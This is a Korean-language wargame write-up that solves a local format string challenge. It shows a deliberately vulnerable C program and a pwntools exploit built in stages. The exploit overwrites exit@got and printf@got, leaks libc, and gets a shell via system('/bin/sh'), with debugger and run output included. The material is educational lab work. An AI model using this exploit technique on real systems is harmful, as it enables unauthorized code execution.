// gcc -o fsb fsb.c -no -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main() {
char buf[256];
read(0, buf, 256);
printf(buf);
exit(0);
return 0;
}
printf(buf)
에서 포멧 스트링 버그가 발생합니다.[*] '/home/ion/wargame/FSB/fsb_got'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX
보호 기법이 걸려있습니다.
NX
와 ASLR
방어기법이 걸려있기 때문에 libc base
를 릭해서 system()
과 /bin/sh
를 구해야 하고 Got Overwrite
를 통해 printf(buf)
를 system("/bin/sh")
로 변조하여 실행시켜야 합니다.
그럴려면 main()
함수에서 read
와 printf
를 여러번 할 수 있어야 하는데, 이 문제는 exit()
함수의 got
를 main
함수의 주소로 덮어서 main()
이 계속 실행되게 하면 해결할 수 있습니다.
[1] exit()를 main()으로 GOT Overwrite
[2] libc base leak 후 system()과 "/bin/sh" 주소 구하기
[3] printf()를 system()로 GOT Overwrite
[4] buf에 "/bin/sh\x00"를 입력으로 넣어서 printf("/bin/sh\x00") 실행
⇛ system("/bin/sh")가 실행됨
ion ~/wargame/FSB ./fsb
AAAAAAAA %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x7ffca12650d0 0x100 0x7f286230a031 0x7f28625e6d80 0x7f28625e6d80 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520
오프셋은 6입니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'
p = process("./fsb")
e = ELF("./fsb")
libc = e.libc
#gdb.attach(p)
exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']
# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)
────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdf10 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffdf18 —▸ 0x7ffff7a03c87 (__libc_start_main+231) ◂— mov edi, eax
02:0010│ 0x7fffffffdf20 ◂— 0x1
03:0018│ 0x7fffffffdf28 —▸ 0x7fffffffdff8 —▸ 0x7fffffffe271 ◂— '/home/ion/wargame/FSB/fsb'
04:0020│ 0x7fffffffdf30 ◂— 0x100008000
05:0028│ 0x7fffffffdf38 —▸ 0x40078f (main) ◂— push rbp
06:0030│ 0x7fffffffdf40 ◂— 0x0
07:0038│ 0x7fffffffdf48 ◂— 0xca3d44a8a62d810f
──────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
► f 0 0x400793 main+4
f 1 0x7ffff7a03c87 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
main()
함수는 libc_start_main()
함수에 의해서 호출됩니다.
그래서 main()
함수의 ret
에는 libc_start_main+231
의 주소가 저장되어 있습니다.
이 libc_start_main+231
이 어디 영역이 속하는지 봐보면
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ion/wargame/FSB/fsb
0x600000 0x601000 r--p 1000 0 /home/ion/wargame/FSB/fsb
0x601000 0x602000 rw-p 1000 1000 /home/ion/wargame/FSB/fsb
0x7ffff79e2000 0x7ffff7bc9000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bc9000 0x7ffff7dc9000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dc9000 0x7ffff7dcd000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcd000 0x7ffff7dcf000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 rw-p 4000 0 [anon_7ffff7dcf]
0x7ffff7dd3000 0x7ffff7dfc000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fe8000 0x7ffff7fea000 rw-p 2000 0 [anon_7ffff7fe8]
0x7ffff7ff7000 0x7ffff7ffb000 r--p 4000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
libc
영역에 속합니다. 그래서 포멧 스트링 버그를 이용해서 ret
에 있는 libc_start_main+231
의 값을 leak 하면 libc base
를 구할 수 있습니다.
먼저 포멧 스트링 버그를 이용해서 ret
값을 leak 하려면 ret
까지의 offset
을 알아내야 합니다.
이때 주의해야할 점이 exit@got
가 main
으로 overwrite 된 후 다시 main
으로 돌아와 libc base leak
을 위한 페이로드를 입력 받을 때의 오프셋을 구해야 합니다.
gdb.attach(p)
기능을 이용해서 오프셋을 구해보면
# leak.py
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
context.bits = 64
context.log_level = 'debug'
p = process("./fsb")
e = ELF("./fsb")
libc = e.libc
gdb.attach(p)
exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']
# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)
# [2] libc base leak
payload = b'leak:%6$p'
pause()
p.sendline(payload)
p.interactive()
# 디버깅 창
pwndbg> finish
pwndbg> b * main+76
Breakpoint 1 at 0x4007db
# 터미널 창
ion ~/wargame/FSB python3 leak.py
[+] Starting local process './fsb' argv=[b'./fsb'] : pid 1050
[*] '/home/ion/wargame/FSB/fsb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fsb', '1050']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './fsb', '1050'], os.environ)
[DEBUG] Launching a new terminal: ['/mnt/c/WINDOWS/system32/cmd.exe', '/c', 'start', 'bash.exe', '-c', '/tmp/tmpsbjkod9a']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x28 bytes:
00000000 25 31 39 33 35 63 25 39 24 6c 6c 6e 25 31 37 37 │%193│5c%9│$lln│%177│
00000010 63 25 31 30 24 68 68 6e 48 10 60 00 00 00 00 00 │c%10│$hhn│H·`·│····│
00000020 4a 10 60 00 00 00 00 00 │J·`·│····│
00000028
[*] Paused (press any to continue)
[DEBUG] Sent 0xa bytes:
b'leak:%6$p\n'
[*] Switching to interactive mode
$
# 디버깅 창
pwndbg> c
pwndbg> c
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► f 0 0x4007db main+76
f 1 0x4007e0 __libc_csu_init
f 2 0x7f5cb4221c87 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
64bit
환경에서 스택 한 칸은 8Bytes
이기 때문에, 오프셋은 (ret - rsp) / 8 + 6
이 됩니다.
# 디버깅 창
pwndbg> retaddr
0x7ffc8a82ca18 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15
0x7ffc8a82cb10 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15
0x7ffc8a82cb30 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15
0x7ffc8a82cb38 —▸ 0x7f5cb4221c87 (__libc_start_main+231) ◂— mov edi, eax
0x7ffc8a82cbf8 —▸ 0x40065a (_start+42) ◂— hlt
pwndbg> p $rsp
$2 = (void *) 0x7ffc8a82c900
pwndbg> p (0x7ffc8a82cb38-0x7ffc8a82c900) / 8 + 6
$3 = 77
offset
은 77입니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'
p = process("./fsb")
e = ELF("./fsb")
libc = e.libc
#gdb.attach(p)
exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']
# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)
# [2] libc base leak
payload = b'leak:%77$p'
pause()
p.sendline(payload)
p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset
slog("leak", leak)
slog("libc base", lb)
slog("system", system)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'
p = process("./fsb")
e = ELF("./fsb")
libc = e.libc
#gdb.attach(p)
exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']
# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)
# [2] libc base leak
payload = b'leak:%77$p'
pause()
p.sendline(payload)
p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset
slog("leak", leak)
slog("libc base", lb)
slog("system", system)
# [3] printf@got -> system
payload = fmtstr_payload(6, {printf_got:system})
p.send(payload)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'
p = process("./fsb")
e = ELF("./fsb")
libc = e.libc
#gdb.attach(p)
exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']
# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)
# [2] libc base leak
payload = b'leak:%77$p'
pause()
p.sendline(payload)
p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset
slog("leak", leak)
slog("libc base", lb)
slog("system", system)
# [3] printf@got -> system
payload = fmtstr_payload(6, {printf_got:system})
p.send(payload)
# [4] printf(buf) -> system("/bin/sh\x00")
p.send(b"/bin/sh\x00")
p.interactive()
ion ~/wargame/FSB python3 exploit.py
[+] Starting local process './fsb': pid 1167
[*] '/home/ion/wargame/FSB/fsb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Paused (press any to continue)
[+] leak: 0x7f2c04574c87
[+] libc base: 0x7f2c04553000
[+] system: 0x7f2c045a2420
[*] Switching to interactive mode
\x10 \x00 1 \x00
$
sh: 2: \xe9\xb5,\x7f: not found
$ ls
exploit.py fsb fsb.c leak.py